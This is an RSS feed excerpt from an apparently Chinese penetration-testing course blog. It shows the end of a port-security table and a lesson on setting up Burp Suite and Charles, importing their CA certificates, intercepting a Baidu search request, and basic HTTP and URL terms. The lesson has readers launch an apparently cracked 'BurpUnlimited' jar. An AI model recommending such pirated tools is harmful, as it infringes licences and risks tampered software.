      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;5900&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;VNC（远程桌面）&lt;/td&gt;
          &lt;td&gt;跨平台远程桌面控制，支持图形界面&lt;/td&gt;
          &lt;td&gt;远程操作桌面（如树莓派）&lt;/td&gt;
          &lt;td&gt;默认无加密，需开启VNC加密（如TightVNC），设置强密码，限制访问IP&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;3389&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;RDP（Windows远程桌面）&lt;/td&gt;
          &lt;td&gt;Windows自带远程桌面，图形界面流畅&lt;/td&gt;
          &lt;td&gt;Windows服务器/电脑远程控制&lt;/td&gt;
          &lt;td&gt;公网禁止开放！内网限制IP，开启网络级别认证（NLA），设置复杂密码&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;6000-6005&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;X11（Linux图形界面）&lt;/td&gt;
          &lt;td&gt;Linux/Unix图形界面传输端口&lt;/td&gt;
          &lt;td&gt;Linux远程图形界面访问&lt;/td&gt;
          &lt;td&gt;明文传输，风险高，建议用SSH隧道转发（&lt;code&gt;ssh -X user@server&lt;/code&gt;）替代&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;9090&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Prometheus&lt;/td&gt;
          &lt;td&gt;监控系统默认端口（Web UI+API）&lt;/td&gt;
          &lt;td&gt;服务器/应用监控&lt;/td&gt;
          &lt;td&gt;公网需配置认证（如Basic Auth），限制访问IP，配合Grafana（3000端口）可视化&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</description>
        </item>
        <item>
        <title>1.1 抓包和web基本知识</title>
        <link>https://www.retr0.xyz/p/1.1-%E6%8A%93%E5%8C%85%E5%92%8Cweb%E5%9F%BA%E6%9C%AC%E7%9F%A5%E8%AF%86/</link>
        <pubDate>Mon, 17 Nov 2025 15:59:43 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.1-%E6%8A%93%E5%8C%85%E5%92%8Cweb%E5%9F%BA%E6%9C%AC%E7%9F%A5%E8%AF%86/</guid>
        <description>&lt;blockquote&gt;
&lt;p&gt;本篇课程使用资源库内的“win10渗透测试工具预安装虚拟机（日常使用）”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&#34;抓包&#34;&gt;抓包
&lt;/h1&gt;&lt;h2 id=&#34;环境准备&#34;&gt;环境准备
&lt;/h2&gt;&lt;h3 id=&#34;java环境准备&#34;&gt;Java环境准备
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;打开&lt;code&gt;C:\tools\alltools\java环境&lt;/code&gt;中的&lt;code&gt;jre-8u261-windows-x64.rar&lt;/code&gt;压缩包，解压并安装Java&lt;/li&gt;
&lt;li&gt;安装完成后按&lt;code&gt;win+R&lt;/code&gt;打开“运行”窗口，输入cmd并回车进入命令行控制台。&lt;/li&gt;
&lt;li&gt;分别输入&lt;code&gt;java&lt;/code&gt;和&lt;code&gt;javac&lt;/code&gt;均有内容返回则说明安装成功。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;burpsuite软件的准备&#34;&gt;Burpsuite软件的准备
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;打开&lt;code&gt;C:\tools\alltools\抓包工具&lt;/code&gt;中的&lt;code&gt;Burpsuitepro_Unlimited_jb51.rar&lt;/code&gt;压缩包并解压到合适的位置。&lt;/li&gt;
&lt;li&gt;在解压的文件夹内创建一个&lt;code&gt;.bat&lt;/code&gt;批处理文件用于启动Burpsuite，名称随便，内容为：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;java&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;jar&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;BurpUnlimited&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;jar&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;双击该批处理文件即可启动Burpsuite,一路next进入软件界面。&lt;/li&gt;
&lt;li&gt;检查并确认Options选项卡中监听地址和端口为&lt;code&gt;127.0.0.1:8080&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&#34;https://www.retr0.xyz/post/%e5%9f%ba%e7%a1%80%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/img/1.1-1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;firefox浏览器的准备需要开着burpsuite&#34;&gt;Firefox浏览器的准备（需要开着Burpsuite）
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;打开Firefox浏览器，并转到&lt;strong&gt;选项&lt;/strong&gt;中，在&lt;strong&gt;高级-网络-连接-设置&lt;/strong&gt;中选择“手动配置代理”并勾选为所有协议使用相同代理，填写好之前获取的地址和端口。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&#34;https://www.retr0.xyz/post/%e5%9f%ba%e7%a1%80%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/img/1.1-2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;在地址栏输入&lt;code&gt;http://burp/&lt;/code&gt;能进入页面说明配置成功，接下来点击页面右上角的‘CA Certificate’按钮保存证书。&lt;/li&gt;
&lt;li&gt;再次转到浏览器的&lt;strong&gt;选项&lt;/strong&gt;中，在&lt;strong&gt;高级-证书-查看证书-证书机构-导入&lt;/strong&gt;中选择刚才保存到证书导入，弹窗内全部勾上。&lt;/li&gt;
&lt;li&gt;证书机构的列表中多出名为PortSwigger CA的证书则导入成功。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;charles软件的准备可选&#34;&gt;Charles软件的准备（可选）
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;打开位于&lt;code&gt;C:\tools\Charles&lt;/code&gt;内的&lt;code&gt;Charles.exe&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;点击&lt;strong&gt;代理&lt;/strong&gt;选项，可以看到默认勾选了Windows代理，说明Charles默认使用系统代理的方法抓包，也因此能抓取系统上所有软件的http数据包。&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;正如上述，我们需要在浏览器的代理设置中更改为：**使用系统代理 **（&lt;code&gt;1.1.3&lt;/code&gt;中提到）&lt;/li&gt;
&lt;li&gt;因为未知原因，charles的证书不能从本地保存后导入，所以这里我们选择 **帮助-SSL代理-在移动设备或远程浏览器上安装Charles根证书 **点击后出现弹窗，例如：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&#34;https://www.retr0.xyz/post/%e5%9f%ba%e7%a1%80%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/img/1.1-3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;这里我们只看后面的&lt;code&gt;chls.pro/ssl&lt;/code&gt;在浏览器中访问该地址。&lt;/p&gt;
&lt;p&gt;安装证书的操作不再过多叙述。&lt;/p&gt;
&lt;h2 id=&#34;抓包实操&#34;&gt;抓包实操
&lt;/h2&gt;&lt;h3 id=&#34;burp抓包&#34;&gt;Burp抓包
&lt;/h3&gt;&lt;p&gt;在Burp软件内Proxy-Intercept选项卡中点击&lt;strong&gt;Intercept is off&lt;/strong&gt;开始抓包&lt;/p&gt;
&lt;p&gt;此时在百度上搜索任意关键词（以&amp;quot;test&amp;quot;为例）可以看到抓取到数据包&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.retr0.xyz/post/%e5%9f%ba%e7%a1%80%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/img/1.1-4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;修改数据包首行&lt;code&gt;wd&lt;/code&gt;参数值为&amp;quot;ok&amp;quot;&lt;/p&gt;
&lt;p&gt;点击&lt;strong&gt;Intercept is on&lt;/strong&gt;放行数据包&lt;/p&gt;
&lt;p&gt;发现搜索关键词被替换为&amp;quot;ok&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.retr0.xyz/post/%e5%9f%ba%e7%a1%80%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/img/1.1-5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;charles抓包&#34;&gt;Charles抓包
&lt;/h3&gt;&lt;p&gt;打开Charles软件并访问百度&lt;/p&gt;
&lt;p&gt;发现抓取到数据包，查看内容发现与页面原代码一致&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.retr0.xyz/post/%e5%9f%ba%e7%a1%80%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95/img/1.1-6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;h1 id=&#34;web基本知识&#34;&gt;web基本知识
&lt;/h1&gt;&lt;p&gt;一些术语：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GET&lt;/strong&gt; 通过地址栏输入===从服务器获取&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;POST&lt;/strong&gt; 提交表单===向服务器发送&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;request&lt;/strong&gt; 向服务器发起一个请求，服务器会返回一个&lt;u&gt;结果(response)&lt;/u&gt;给客户端&lt;/p&gt;
&lt;p&gt;**forward **服务器内部发送重定向（网页发生改变但地址不变）&lt;/p&gt;
&lt;p&gt;**redirect **服务器收到一个请求后，发送一个状态给客户端，客户端会再次请求，此时url发生了改变&lt;/p&gt;
&lt;p&gt;**url **统一资源定位器（链接）&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;url的组成，以百度搜索为例：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https:// www.baidu.com/ s ? wd=test &amp;amp; rsv_spt=1 &amp;amp; issp=1 &amp;amp; f=8&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;http:// == 协议&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.baidu.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;www.baidu.com&lt;/a&gt; == 域名&lt;/p&gt;
&lt;p&gt;s == 文件&lt;/p&gt;
&lt;p&gt;？== get请求&lt;/p&gt;
&lt;p&gt;wd/rsv_spt/issp/f == 参数名&lt;/p&gt;
&lt;p&gt;参数名等号后为参数值&lt;/p&gt;
&lt;p&gt;&amp;amp; == 连接符&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
